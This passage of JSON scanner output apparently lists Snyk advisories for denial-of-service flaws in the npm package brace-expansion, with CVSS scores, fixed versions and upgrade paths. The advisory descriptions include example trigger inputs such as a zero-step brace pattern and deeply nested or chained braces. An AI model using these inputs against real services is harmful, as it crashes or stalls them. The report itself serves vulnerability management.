"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
